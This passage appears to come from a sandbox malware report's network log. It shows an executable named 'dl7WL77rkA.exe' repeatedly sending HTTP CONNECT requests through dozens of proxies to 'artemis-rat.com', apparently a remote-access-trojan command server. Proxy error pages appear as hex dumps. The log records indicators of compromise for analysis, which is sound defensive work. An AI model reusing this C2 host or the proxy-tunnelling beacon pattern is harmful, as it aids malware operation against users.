Mar 11, 2024 03:30:49.217921972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.108208895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.717664957 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.405179024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:02.014305115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2022	192.168.2.5	55402	47.100.236.23	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.621052980 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.960865974 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2023	192.168.2.5	55398	8.219.228.100	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.622059107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2024	192.168.2.5	55397	123.116.119.175	81	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.624398947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2025	192.168.2.5	55418	91.189.177.186	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.633934975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.963453054 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/5.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 02:30:47 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3628 X-Squid-Error: ERR_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from lb1 X-Cache-Lookup: NONE from lb1:3128 Via: 1.1 lb1 (squid/5.7) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2026	192.168.2.5	55415	221.231.13.198	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.645323038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.984956026 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.0 Date: Mon, 11 Mar 2024 02:30:47 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2027	192.168.2.5	52076	217.145.199.47	56746	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.651853085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2028	192.168.2.5	52123	195.211.219.147	5555	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.652055025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.722996950 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.905137062 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:59.922352076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2029	192.168.2.5	55422	148.66.130.187	5630	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.653350115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.405126095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.594788074 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2030	192.168.2.5	54065	161.97.163.52	28593	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.716696978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2031	192.168.2.5	55165	51.15.242.202	8888	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.717307091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.486942053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.780368090 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.21.6 Date: Mon, 11 Mar 2024 02:30:48 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 31 2e 36 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.21.6</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2032	192.168.2.5	55167	185.49.31.207	8081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.739084005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2033	192.168.2.5	54003	62.171.131.101	41055	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.740356922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2034	192.168.2.5	55449	45.11.95.165	5028	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.751038074 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.487029076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.702132940 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.014588118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.385159016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2035	192.168.2.5	54055	148.72.212.183	2792	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.751970053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.889324903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.905153036 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:59.905189991 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2036	192.168.2.5	54026	51.83.190.248	19050	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.759493113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.852087975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.905316114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:59.922368050 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2037	192.168.2.5	53988	47.74.152.29	8888	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.773905993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.852170944 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.905332088 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:59.922369957 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2038	192.168.2.5	55447	93.126.56.30	4153	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.856772900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2039	192.168.2.5	52153	162.241.45.22	44931	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.857086897 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.889448881 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.905191898 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:59.905246973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
